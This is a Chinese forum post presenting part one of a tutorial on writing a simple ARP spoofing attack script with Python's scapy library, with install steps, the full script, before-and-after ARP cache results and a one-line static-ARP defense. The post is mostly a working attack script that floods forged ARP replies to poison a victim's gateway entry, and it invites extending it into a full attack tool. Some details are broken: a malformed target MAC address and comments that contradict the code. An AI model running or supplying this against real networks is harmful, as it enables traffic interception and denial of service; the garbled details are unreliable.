Board logo

标题: Python scapy实现一个简易arp攻击脚本(1) [打印本页]

作者: look_w    时间: 2019-2-19 16:36     标题: Python scapy实现一个简易arp攻击脚本(1)

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

scapy的安装在Linux非常便利,但在Windows下比较复杂。

以下假定读者使用的是Ubuntu Linux 和 Python 3 环境。

scapy的安装在Linux下非常便利,在终端下执行以下命令即可完成安装:

sudo pip3 install scapy-python3

以下是一个非常简单的arp攻击演示脚本,该脚本可以在实验环境下帮助你理解arp协议的作用和原理,当然你甚至可以扩充该脚本去编写一个完整的arp攻击工具。

    #!/usr/bin/python3
    # -*- coding: utf-8 -*-
    # ARP攻击演示脚本/arpDemo.py
     
     
    from scapy.all import (
        Ether,
        ARP,
        sendp
    )
    # 注意这里面的几个方法
    # Ether用来构建以太网数据包
    # ARP是构建ARP数据包的类
    # sendp方法在第二层发送数据包
     
    # Ether用来构建以太网数据包
    eth = Ether()
    arp = ARP(
        # 代表ARP请求或者响应
        op="is-at",
     
        # 发送方Mac地址/毒化记录中的MAC
        hwsrc="08:00:27:97:d1:f5",
        # 发送方IP地址/毒化记录中的IP
        psrc="192.168.31.1",
     
        # 目标Mac地址/被欺骗主机MAC
        hwdst="2C:56C3:ABB",
        # 目标IP地址/被欺骗主机IP地址
        pdst="192.168.31.248"
     
        # 意思就是告诉192.168.31.248这个地址的主机,IP为192.168.31.100的主机MAC地址是08:00:27:97:d1:f5
        # 如果不写目标主机的IP和MAC则默认以广播的形式发送
    )
    # scapy重载了"/"操作符,可以用来表示两个协议层的组合
    # 这里我们输出一下数据包的结构信息
    print((eth/arp).show())
     
    # 发送封包,并且每间隔1秒重复发送
    sendp(eth/arp, inter=2, loop=1)

攻击前我们在主机上看一下arp缓存的记录

arp -a

1423427-a1fb406d8b0035be.png
攻击前的arp缓存记录

执行脚本:

sudo python3 arpDemo.py

1423427-2b340a8a8565048e.png
攻击后的arp缓存记录

这里我们是对主机的网关记录进行篡改,在执行了攻击脚本后主机已经无法正常访问互联网了。

如果你要防范这种攻击也很简单,直接将IP和MAC地址的关系绑定写入arp缓存即可。
在windows你可以通过arp命令完成,Linux下与此操作相似。

    #添加静态项
    arp -s 192.168.31.1   64-09-80-04-aa-c3




欢迎光临 电子技术论坛_中国专业的电子工程师学习交流社区-中电网技术论坛 (http://bbs.eccn.com/) Powered by Discuz! 7.0.0